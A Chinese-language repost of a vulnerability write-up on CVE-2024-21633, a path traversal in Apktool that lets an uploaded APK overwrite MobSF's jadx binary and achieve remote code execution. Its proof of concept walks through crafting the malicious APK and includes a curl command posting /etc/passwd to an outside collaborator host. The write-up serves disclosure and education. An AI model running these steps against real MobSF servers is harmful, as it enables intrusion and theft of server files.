最近,0x33c0unt通过GitHub Advisory平台发现并报告了流行的反编译工具Apktool中的一个重大漏洞。此安全漏洞使攻击者能够操纵目标路径,将包含受控内容的文件写入远程服务器,从而导致任意文件写入场景。
探索 Apk 工具
Apktool是一个主要为本地使用而设计的开源工具。它方便了Android应用程序包(APK)的反汇编和重新组装,允许用户将资源解码为接近原始的形式,并在修改后重建它们。对于需要在无法访问原始源代码的情况下分析或修改 APK 的开发人员和安全专业人员来说,此功能至关重要。
为了放大已发现漏洞的影响,研究人员0x33c0unt重点研究了另一个包含Apktool但通过Web应用程序运行的工具,因此更有可能在互联网上暴露:移动安全框架(MobSF)。
揭开 MobSF 面纱
MobSF是一种自动化、一体化的移动应用程序安全测试框架,能够执行静态和动态分析。它支持Android和iOS平台,并提供用于移动应用程序安全评估的全面工具套件,包括便于交互和分析的图形用户界面。
当用户将文件上传到 MobSF时,该平台会利用著名的 Apktool 反编译移动应用程序,启动全面的安全评估。这个过程不仅涉及Apktool,还集成了其他工具,例如jadx,一个熟练的Java反编译器。Jadx 在将复杂的 Java 字节码转换回可读源代码、促进深入分析方面发挥着关键作用。
这种工具的集成使 MobSF 能够生成详细的安全报告,从而深入了解应用程序中的潜在漏洞和安全缺陷。通过简化和自动化反编译和分析过程,MobSF 为希望保护移动应用程序免受新兴安全威胁的开发人员和安全专业人员提供了用户友好且功能强大的解决方案。
CVE-2024-21633
在反编译阶段,Apktool 将以resources.arsc文件为目标,该文件是一个重要组件,包含应用程序使用的已编译资源,例如字符串、图像和布局定义。Apktool 检索此文件以访问移动应用程序中使用的资源文件的完整列表。每个资源文件由三个关键元素标识:
-
一个标识符
-
文件名
-
APK 中文件的路径
提取此列表后,Apktool 根据这些资源文件的名称推断出这些资源文件的输出路径。此功能虽然对于合法分析至关重要,但也为安全漏洞打开了一个窗口。攻击者可以利用路径遍历缺陷来操纵资源文件名,从而可能将这些文件重定向到远程服务器上的任意文件夹。
在对 MobSF调试日志的详细分析中,研究人员0x33c0unt对 Apktool 使用后框架的内部流程进行了观察。执行 Apktool 后,MobSF 继续修改以下文件的权限:/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx。具体来说,MobSF为该文件分配执行权限。
有问题的文件是Jadx的二进制文件。通过授予 Jadx 二进制文件的执行权限,MobSF 可以无缝执行该反编译器。
[INFO] 07/Jan/2024 20:44:20 - Decompiling to Java with jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
[INFO] 07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
Apktool 中的路径遍历漏洞存在重大安全风险,因为它允许写入服务器上的任意位置。
通过利用 Apktool 中的此漏洞,攻击者可以策略性地重写jadx 文件的内容。因此,利用 Apktool 中的路径遍历漏洞,再加上 MobSF 对 Jadx 的操作依赖,为攻击者创造了在远程服务器上执行任意代码 (RCE) 的潜在机会。
POC
获取APK 移动应用程序。这可以通过Android Studio来完成。为了进行演示,我将使用下面资源中的移动应用程序。
使用以下命令使用apktool反编译此应用程序:
apktool d app.apk
执行以下命令以创建文件名为jadx的新原始资源:
mkdir app/res/raw
nano app/res/raw/jadx
cat app/res/raw/jadx
curl -X POST -d @/etc/passwd http://nsj6mgnj37h26nbjgnjsmrz63x9oxfl4.oastify.com/rce
重新编译应用程序以生成resources.arsc文件。
我们可以看到,在编译移动应用程序时,我们已经添加了新的恶意资源。
反编译compiled.apk应用程序以恢复resources.arsc文件:
apktool d compiled.apk -s -r
从releases下载ArscEditor工具来修改resources.arsc文件的内容:
java -jar ArscEditor-1.0.2-all.jar
打开文件并导航到名为jadx的原始资源:
将文件名更改为:../../../../../../ Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
保存并用修改后的文件替换现有文件。
使用apktool构建应用程序以获得最终的有效负载。
apktool b compiled -o poc.apk
一旦我们的恶意 APK上传到Mobsf,就会收到包含服务器/etc/passwd 文件内容的连接。
项目维护人员实施关键代码更新
为了解决已发现的漏洞, Apktool 项目的维护人员已主动采取措施增强安全性。他们在 Apktool 代码库中集成了一个新函数( detectorPossibleDirectoryTraversal ),旨在仔细检查文件名中的特定字符串。此次更新标志着该工具在抵御路径遍历攻击方面取得了重大进步。
-
../
-
/..
-
..\
-
\..
新添加的功能充当关键的安全检查点,仔细检查每个文件名以确保它不包含潜在有害的序列。通过实施此保护措施,Apktool 维护人员旨在防止攻击者操纵文件路径来访问或更改未经授权的目录中的文件。此举是维护 Apktool 环境完整性和安全性的更广泛努力的一部分,确保它仍然是 Android APK 分析和修改的可靠和安全工具。
漏洞原文(原文中包含了工具和项目的超链接):
https://www.qu35t.pw/posts/2024-21633-mobsf-rce/
参考
-
https://github.com/0x33c0unt/CVE-2024-21633
-
https://github.com/iBotPeaches/Apktool/
-
https://github.com/iBotPeaches/Apktool/security/advisories/GHSA-2hqv-2xv4-5h5w
-
https://github.com/iBotPeaches/Apktool/pull/3484
-
https://github.com/MrIkso/ArscEditor
-
https://developer.android.com/studio
-
https://portswigger.net/web-security/file-path-traversal
-
https://www.docker.com/
-
https://github.com/simplificator/phonegap-helloworld/blob/master/android/bin/Hello%20World.apk
-
https://github.com/iBotPeaches/Apktool/blob/69e54cc95246f66d775f1bad99bbee880353f20d/brut.j.util/src/main/java/brut/util/BrutIO.java#L97
-
https://www.shodan.io/search?query=http.title%3A%22MobSF%22
-
https://mobsf.github.io/docs/#/mobsf_docker
原文始发于微信公众号(Ots安全):CVE-2024-21633 - MobSF 远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论